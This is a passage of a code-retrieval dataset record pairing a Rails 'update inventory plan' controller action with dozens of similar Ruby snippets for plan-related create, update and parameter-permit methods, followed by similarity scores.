:status=>1)\n\[email protected]\n\n\tredirect_to pages_page0_path, :flash => { :notice => \"purchase completed\" }\n\n\trescue Stripe::CardError => e\n\t\tflash[:error] = e.message\n\t\tredirect_to new_buy_plan_path(:id => params[:plan_id])\n end", "def plan_params\n params.require(:plan).permit(:nombre, :codigo, :precio, :empresa_id, :servicio_id, :type_plan_id, :tipo_cliente_id, :state, :necesidad)\n end", "def create\n @finance_plan = FinancePlan.new(finance_plan_params)\n\n respond_to do |format|\n if @finance_plan.save\n format.html { redirect_to @finance_plan, notice: 'Finance plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @finance_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @finance_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @test_plans = @project.test_plans\n end", "def create\r\n @work_plan = WorkPlan.new(params[:work_plan])\r\n\r\n respond_to do |format|\r\n if @work_plan.save\r\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully created.' }\r\n format.json { render json: @work_plan, status: :created, location: @work_plan }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def plans\r\n @plans ||= PlansController.new(configuration: @configuration)\r\n end", "def create_plans\n dmptemplate.phases.each do |phase|\n latest_published_version = phase.latest_published_version\n unless latest_published_version.nil?\n new_plan = Plan.new\n new_plan.version = latest_published_version\n plans << new_plan\n end\n end\n end", "def create\n @media_plan = MediaPlan.new(media_plan_params)\n\n respond_to do |format|\n if @media_plan.save\n format.html { redirect_to @media_plan, notice: 'Media plan was successfully created.' }\n format.json { render :show, status: :created, location: @media_plan }\n else\n format.html { render :new }\n format.json { render json: @media_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @patient = Patient.find(params[:patient_selec]['id'])\n @family_group = FamilyGroup.find(params[:id])\n @plan.state = \"Abierto\"\n\n respond_to do |format|\n if @plan.save\n current_user.plans << @plan\n @family_group.plans << @plan\n @family_group.save\n format.html { redirect_to planslink_path(@family_group.id), notice: 'Plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_add_plan\n upload_catalog('Catalog-v1.xml', false, @user, @options)\n\n # basic-monthly has no trial period\n bp = create_basic_entitlement(1, 'MONTHLY', '2013-08-01', '2013-09-01', 1000.0)\n\n # Move clock to 2013-09-01\n add_days_and_check_invoice_item(31, 2, 'basic-monthly', '2013-09-01', '2013-10-01', 1000.0)\n\n # Effective date of the second catalog is 2013-10-01\n upload_catalog('Catalog-v3.xml', false, @user, @options)\n\n # Move clock to 2013-10-01\n # Original subscription is grandfathered (no effectiveDateForExistingSubscriptions specified)\n add_days_and_check_invoice_item(30, 3, 'basic-monthly', '2013-10-01', '2013-11-01', 1000.0)\n\n # The annual plan is only present in the v3 catalog\n create_basic_entitlement(4, 'ANNUAL', '2013-10-01', nil, 0)\n\n # Move clock to 2013-10-31 (BCD = 1)\n add_days_and_check_invoice_item(30, 5, 'basic-annual', '2013-10-31', '2014-10-01', 12_849.32)\n\n # Move clock to 2013-11-01\n # Verify original subscription is still grandfathered\n add_days_and_check_invoice_item(1, 6, 'basic-monthly', '2013-11-01', '2013-12-01', 1000.0)\n\n # Verify we can change to the new plan\n change_base_entitlement(bp, 7, 'Basic', 'ANNUAL', '2013-08-01', '2013-11-01', '2014-11-01', 14_000, 13_000)\n end", "def create\n @study_plan = StudyPlan.new(study_plan_params)\n respond_to do |format|\n if @study_plan.save\n format.html { redirect_to study_plans_url, notice: 'Study plan was successfully created.' }\n format.json { render :show, status: :created, location: @study_plan }\n else\n format.html { render :new }\n format.json { render json: @study_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :user_id)\n end", "def create\n @test_plan = TestPlan.new(params[:test_plan])\n @test_plan.report_definitions << ReportDefinition.find(params[:report_definition_id]) if params[:report_definition_id]\n\n respond_to do |format|\n if @test_plan.save\n format.html { redirect_to @test_plan, notice: 'Test plan was successfully created.' }\n format.json { render json: @test_plan, status: :created, location: @test_plan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:name,:duration,:description,:subscription_id)\n end", "def plan_params\n params.require(:plan).permit(:date, :user_id, :situation, :incident_id, :weather, \n :general_safety, :prepared_by, :org_list, :assignment_list, \n :comm_plan, :med_plan, :incident_map, :comm_plan, \n :travel_plan, :date_prepare, :time_prepared, :ops_period,\n :approved_by)\n end", "def plan_params\n params.require(:plan).permit(:pack_id, :name, :description, :old_price,\n :decimal, :price, :days, :is_active,\n :is_visible, :product_id, :city_id, :city_name)\n end", "def index\n @site_plans = @product.site_plans\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_plans }\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :locations, :service_providers, :custom, :special, :monthly_mails, plan_countries_attributes: [:id, :country_id, :price])\n end", "def create_plan_item(plan_id,\r\n body,\r\n idempotency_key = nil)\r\n # Prepare query url.\r\n _path_url = '/plans/{plan_id}/items'\r\n _path_url = APIHelper.append_url_with_template_parameters(\r\n _path_url,\r\n 'plan_id' => plan_id\r\n )\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'ServiceRefererName' => Configuration.service_referer_name,\r\n 'Content-Type' => 'application/json',\r\n 'idempotency-key' => idempotency_key\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n # Validate response against endpoint and global error codes.\r\n if _context.response.status_code == 400\r\n raise ErrorException.new(\r\n 'Invalid request',\r\n _context\r\n )\r\n elsif _context.response.status_code == 401\r\n raise ErrorException.new(\r\n 'Invalid API key',\r\n _context\r\n )\r\n elsif _context.response.status_code == 404\r\n raise ErrorException.new(\r\n 'An informed resource was not found',\r\n _context\r\n )\r\n elsif _context.response.status_code == 412\r\n raise ErrorException.new(\r\n 'Business validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 422\r\n raise ErrorException.new(\r\n 'Contract validation error',\r\n _context\r\n )\r\n elsif _context.response.status_code == 500\r\n raise ErrorException.new(\r\n 'Internal server error',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n PlansItemsResponse.from_hash(decoded)\r\n end", "def create\n super do |resource| # super do oznacza ze dziedziczymy akcje \"create\" i rozszerzamy ją\n if params[:plan]\n resource.plan_id = params[:plan]\n if resource.plan_id == 2\n resource.save_with_subscription \n else\n resource.save\n end\n end\n end\n end", "def create\n @plantype = Plantype.new(params[:plantype])\n\n respond_to do |format|\n if @plantype.save\n format.html { redirect_to @plantype, notice: 'Plantype was successfully created.' }\n format.json { render json: @plantype, status: :created, location: @plantype }\n else\n format.html { render action: \"new\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @plan = Plan.new(plan_params)\n @plan.user_id = current_user.id\n\n respond_to do |format|\n if @plan.save\n format.html { redirect_to @plan, notice: 'Plan was successfully created.' }\n format.json { render :show, status: :created, location: @plan }\n Term.create(plan_id: @plan.id, semester: \"Fall\", year: @plan.startyear)\n Term.create(plan_id: @plan.id, semester: \"Spring\", year: @plan.startyear+1)\n Term.create(plan_id: @plan.id, semester: \"Summer\", year: @plan.startyear+1)\n else\n format.html { render :new }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n\t\t\tparams.require(:plan).permit(:departure_date, :return_date, :description)\n\t\tend", "def testplan_params\n params.require(:testplan).permit(:application_id, :testplan_name, :pid)\n end", "def create_plans\n\t\tdmptemplate.phases.each do |phase|\n\t\t\tlatest_published_version = phase.latest_published_version\n\t\t\tunless latest_published_version.nil?\n\t\t\t\tnew_plan = Plan.new\n\t\t\t\tnew_plan.version = latest_published_version\n\t\t\t\tplans << new_plan\n\t\t\tend\n\t\tend\n\tend", "def index\n @plans = Plan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @plans }\n end\n end", "def plan_params\n params.require(:plan).permit(:nickname, :amount_decimal, :currency,\n :interval, :interval_count)\n end", "def show\n render json: @plan\n end", "def create\n @user = @current_user\n @title = 'Home ('+ Time.now.to_date.to_s + ')'\n @current_event, @events = Event.find_todays_events(@user)\n @plans = @user.plans\n\n\n unless params[:plan]['deadline(3i)'].blank? and\n params[:plan]['deadline(2i)'].blank? \n\n if params[:plan]['deadline(2i)'].blank? \n params[:plan]['deadline(2i)'] = Time.now.month.to_s\n end\n\n if params[:plan]['deadline(3i)'].blank? \n params[:plan]['deadline(3i)'] = '1'\n end\n\n if params[:plan]['deadline(2i)'].to_i < Time.now.month or \n (params[:plan]['deadline(2i)'].to_i == Time.now.month and \n params[:plan]['deadline(3i)'].to_i < Time.now.day)\n params[:plan]['deadline(1i)'] = Time.now.year.next.to_s\n else\n params[:plan]['deadline(1i)'] = Time.now.year.to_s\n end\n end\n\n @new_plan = Plan.new(params[:plan])\n @new_plan.user = @user\n\n unless params[:plan][:recurs] == 'recurs' \n if params[:plan][:recurs] == 'daily' \n @new_plan.recurs = Plan::RECURS[:daily] \n elsif params[:plan][:recurs] == 'weekly' \n @new_plan.recurs = Plan::RECURS[:weekly] \n elsif params[:plan][:recurs] == 'monthly' \n @new_plan.recurs = Plan::RECURS[:monthly] \n end\n else \n @new_plan.recurs = Plan::RECURS[:none] \n end \n\n unless params[:plan].blank? or params[:plan][:parent].blank?\n @new_plan.parent = @current_user.plans.find(params[:plan][:parent])\n end\n\n respond_to do |format|\n if @new_plan.save\n flash[:notice] = 'Plan was successfully created.'\n format.html { redirect_to(events_path()) }\n format.xml { render :xml => @new_plan, :status => :created,\n :location => @new_plan }\n else\n format.html { render :template=>\"events/index\" }\n format.xml { render :xml => @new_plan.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "def show\n @plans = @event.plans\n \n respond_to do |format|\n format.html {}\n format.json { render json: @event.to_json}\n end\n end", "def plan_params\n params.require(:plan).permit(:name, :user_id, :catalogYear, :majorName)\n end", "def create\n @check_plan = CheckPlan.new(check_plan_params)\n\n respond_to do |format|\n if @check_plan.save\n format.html { redirect_to @check_plan, notice: 'Check plan was successfully created.' }\n format.json { render :show, status: :created, location: @check_plan }\n else\n format.html { render :new }\n format.json { render json: @check_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @project = Project.find(params[:master_plan][:project_id])\n @master_plan = @project.add_master_plan(params[:master_plan], current_user)\n\n respond_to do |format|\n format.html { redirect_to client_project_master_plan_path(id: @master_plan, client_id: @master_plan.client_id, project_id: @master_plan.project_id), notice: 'Master Plan创建成功.' }\n format.json { render json: @master_plan, status: :created, location: @master_plan }\n end\n end" ]
[ "0.69540006", "0.6920647", "0.66802293", "0.66406375", "0.6632244", "0.6624152", "0.6624152", "0.6559901", "0.6514302", "0.6496677", "0.6468147", "0.6465878", "0.6451604", "0.6436096", "0.64128935", "0.63685995", "0.6365216", "0.63586235", "0.63254756", "0.63206035", "0.6314085", "0.62940407", "0.6278589", "0.6278441", "0.6276371", "0.62762415", "0.6269528", "0.6266955", "0.6264164", "0.62592775", "0.62504137", "0.62274045", "0.6220175", "0.62071323", "0.62024266", "0.6187007", "0.6186202", "0.61804575", "0.6160391", "0.6160284", "0.6159227", "0.61491936", "0.6147844", "0.61440676", "0.6141326", "0.61408263", "0.6132346", "0.6124973", "0.6103896", "0.6095565", "0.6089174", "0.60818523", "0.6056062", "0.6055249", "0.60524744", "0.60508764", "0.60496795", "0.60482615", "0.6043635", "0.6043635", "0.6041011", "0.6035317", "0.60253954", "0.6011758", "0.60107094", "0.6010521", "0.6010285", "0.60064423", "0.59900784", "0.5989019", "0.59876573", "0.59853274", "0.5971887", "0.5953952", "0.5953071", "0.5950341", "0.59497476", "0.5945529", "0.59323376", "0.59275645", "0.5927493", "0.5915113", "0.5911436", "0.5908782", "0.59062374", "0.59039634", "0.590211", "0.5900667", "0.5886726", "0.5884832", "0.5884027", "0.5880778", "0.5871807", "0.58650494", "0.5863131", "0.5861302", "0.585448", "0.58511376", "0.5844756", "0.5842832" ]
0.7369263
0
PATCH/PUT /inventory_plans/1 PATCH/PUT /inventory_plans/1.json
def update respond_to do |format| if @inventory_plan.update(inventory_plan_params) format.html { redirect_to @inventory_plan, notice: 'Inventory plan was successfully updated.' } format.json { render :show, status: :ok, location: @inventory_plan } else format.html { render :edit } format.json { render json: @inventory_plan.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(plan_params)\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(params[:plan])\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan }\n format.json { respond_with_bip(@plan) }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n unless @plan.update(plan_params)\n render json: {status: 'failed', message: '更新失败,请稍后重试 !'}\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n plan = Plan.find_by_id!(params.fetch(:id))\n benchmark_action_ids =\n JSON.parse(plan_update_params.fetch(:benchmark_action_ids))\n name = plan_update_params.fetch(:name)\n plan.update!(name: name, benchmark_action_ids: benchmark_action_ids)\n redirect_to plans_path\n end", "def update\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n if @test_plan.update_attributes(params[:test_plan])\n format.html { redirect_to @test_plan, notice: 'Test plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @tasks = @plan.tasks\n\n @goals = @plan.goals\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to back_index_case_url, notice: 'Plan was successfully updated.' }\n # format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan actualizado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to(@plan, :notice => 'Plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @master_plan = MasterPlan.find(params[:id])\n\n respond_to do |format|\n if @master_plan.update_attributes(params[:master_plan])\n format.html { redirect_to master_plan_path(@master_plan), notice: 'Master plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @master_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n if @sslplan.update_attributes(params[:sslplan])\n format.html { redirect_to @sslplan, :notice => 'Sslplan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @sslplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @panel_plan = Panel::Plan.find(params[:id])\n\n respond_to do |format|\n if @panel_plan.update_attributes(params[:panel_plan])\n format.html { redirect_to(@panel_plan, :notice => 'Plan was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @panel_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @billing_plan.update(billing_plan_params)\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n authorize @plan\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, :editing => false, notice: _('Plan was successfully updated.') }\n format.json { head :no_content }\n else\n flash[:notice] = failed_update_error(@plan, _('plan'))\n format.html { render action: \"edit\" }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n flash[:notice] = 'Plan was successfully updated.'\n format.html { redirect_to(@plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: '基本情報を編集しました' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(attrs, user = @@default_user)\n attrs = { id: @id, project_token: @project_token }.merge(attrs)\n @attributes = send_request(\"test_plans/#{attrs[:id]}\", :put) do |req|\n req.body = {\n test_plan: attrs.except(:project_token, :id),\n token: attrs[:project_token],\n auth_token: user.auth_token\n }\n end\n end", "def update\n @exercise_plan = ExercisePlan.find(params[:id])\n\n respond_to do |format|\n if @exercise_plan.update_attributes(params[:exercise_plan])\n format.html { redirect_to @exercise_plan, notice: 'Exercise plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exercise_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plans = @goal.plans\n @tasks = @plans.map(&:tasks).flatten.uniq\n\n @needs = @goal.needs\n respond_to do |format|\n if @goal.update(goal_params)\n format.html { redirect_to back_index_case_url, notice: 'Goal was successfully updated.' }\n # format.json { render :show, status: :ok, location: @goal }\n else\n format.html { render :edit }\n format.json { render json: @goal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @planitem = Planitem.find(params[:id])\n\n respond_to do |format|\n if @planitem.update_attributes(planitems_params)\n format.html { redirect_to \"#{plan_path(@planitem.sprint.quarter.name)}\", notice: 'Plan item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @planitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n respond_to do |format|\n if @plan.update(plan_params)\n # expire_fragment(\"plans\")\n expire_action :action => 'index'\n expire_action :action => 'show'\n expire_page action: 'show', id: params[:id]\n # redirect_to action: 'show', id: params[:id]\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { respond_with_bip(@plan) }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to planslink_path(@plan.family_group.id) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @site_plan.update(site_plan_params)\n format.html { redirect_to :back, notice: 'Site plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @billing_plan = BillingPlan.find(params[:id])\n\n respond_to do |format|\n if @billing_plan.update_attributes(params[:billing_plan])\n format.html { redirect_to(@billing_plan, :notice => 'Billing plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @billing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sales_plan.update(sales_plan_params)\n format.html { redirect_to @sales_plan, notice: 'Sales plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @sales_plan }\n else\n format.html { render :edit }\n format.json { render json: @sales_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @socialize_plan = SocializePlan.find(params[:id])\n\n respond_to do |format|\n if @socialize_plan.update_attributes(params[:socialize_plan])\n format.html { redirect_to(@socialize_plan, :notice => 'Socialize plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @socialize_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @plan = Plan.find(params[:id])\n if @plan.update_attributes(params[:plan])\n redirect_to @plan, :notice => \"Successfully updated plan.\"\n else\n render :action => 'edit'\n end\n end", "def update\n @ecommerceplan = Ecommerceplan.find(params[:id])\n\n respond_to do |format|\n if @ecommerceplan.update_attributes(params[:ecommerceplan])\n format.html { redirect_to @ecommerceplan, :notice => 'Ecommerceplan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ecommerceplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n params[:plan][:worker_ids] ||= []\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n flash[:notice] = 'Plan was successfully updated.'\n format.html { redirect_to(@plan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n respond_to do |format|\r\n if @plan.update(plan_params)\r\n set_plans_grid\r\n format.html { redirect_to redirect_url, notice: t('activerecord.success.messages.updated', model: Plan.model_name.human) }\r\n format.js\r\n else\r\n format.html { render :edit }\r\n format.js { render :edit }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @actual_action_plan.update(actual_action_plan_params)\n format.html { redirect_to @actual_action_plan, notice: 'Actual action plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @actual_action_plan }\n else\n format.html { render :edit }\n format.json { render json: @actual_action_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan_setting = PlanSetting.find(params[:id])\n\n respond_to do |format|\n if @plan_setting.update_attributes(params[:plan_setting])\n format.html { redirect_to @plan_setting, notice: 'Plan setting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan_setting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n if @test_plan.update_attributes(params[:test_plan])\n format.html { redirect_to(@test_plan, :notice => 'Test plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @callplan.update(callplan_params)\n format.html { redirect_to @callplan, notice: 'Callplan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @callplan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @general_plan = GeneralPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @general_plan.update_attributes(params[:general_plan])\r\n format.html { redirect_to @general_plan, notice: 'General plan was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @general_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\r\n @work_plan = WorkPlan.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @work_plan.update_attributes(params[:work_plan])\r\n format.html { redirect_to @work_plan, notice: 'Work plan was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @work_plan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @plantype = Plantype.find(params[:id])\n\n respond_to do |format|\n if @plantype.update_attributes(params[:plantype])\n format.html { redirect_to @plantype, notice: 'Plantype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plantype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n mk = connect_mikrotik\n respond_to do |format|\n\n \n @plan_old = @plan.as_json # Guarda os parâmetros antigos do registro para retornar caso não consiga mudar no mikrotik\n \n id = mk.get_reply(\"/ppp/profile/print\", \"?name=#{@plan.profile_name}\")[0][\".id\"]\n puts \"Id do registro a ser mudado\"\n puts id\n\n if @plan.update(plan_params)\n \n result = mk.get_reply(\"/ppp/profile/set\",\n \"=name=#{plan_params[\"profile_name\"]}\",\n \"=rate-limit=#{plan_params[\"rate_limit\"]}\",\n \"=.id=#{id}\")[0][\"message\"]\n\n @notice = 'Plan was successfully updated.'\n if result != nil\n @notice = \"It wasn't possible to update mikrotik\"\n @plan.update(@plan_old)\n end\n\n format.html { redirect_to @plan, notice: @notice }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @local_plan = LocalPlan.find(params[:id])\n\n respond_to do |format|\n if @local_plan.update_attributes(params[:local_plan])\n flash[:notice] = 'Local rate was successfully updated.'\n format.html { redirect_to(local_plans_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @local_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @business_plan.update(business_plan_params)\n format.html { redirect_to @business_plan, notice: 'Business plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @business_plan }\n else\n format.html { render :edit }\n format.json { render json: @business_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @check_plan.update(check_plan_params)\n format.html { redirect_to @check_plan, notice: 'Check plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @check_plan }\n else\n format.html { render :edit }\n format.json { render json: @check_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t\t@plan = Plan.find(params[:id])\n authorize @plan\n\t\tif user_signed_in? && @plan.editable_by(current_user.id) then\n\t\t\trespond_to do |format|\n\t\t\tif @plan.update_attributes(params[:plan])\n\t\t\t\tformat.html { redirect_to @plan, notice: I18n.t('helpers.project.success_update') }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\tend\n\t\tend\n \telse\n\t\t\trender(:file => File.join(Rails.root, 'public/403.html'), :status => 403, :layout => false)\n \tend\n \tend", "def update\n @lunchplan = Lunchplan.find(params[:id])\n\n respond_to do |format|\n if @lunchplan.update_attributes(params[:lunchplan])\n format.html { redirect_to @lunchplan, :notice => 'Lunchplan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @lunchplan.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n\n update_args = {}\n if params[:reupload].blank?\n properties_array = Array.new\n property_names = params[:test_plan]['property_name']\n property_values = params[:test_plan]['property_value']\n\n count = 0\n property_names.each_with_index.each do |name, index|\n if(!name.strip.empty? and !property_values[index].strip.empty?)\n properties_array[count] = {\"name\" => name.strip, \"value\" => property_values[index].strip}\n count += 1\n end\n end\n\n update_args[:properties] = properties_array.to_json\n else\n update_args = params.require(:test_plan).permit(:jmx)\n end\n\n respond_to do |format|\n if @test_plan.update(update_args)\n format.html { 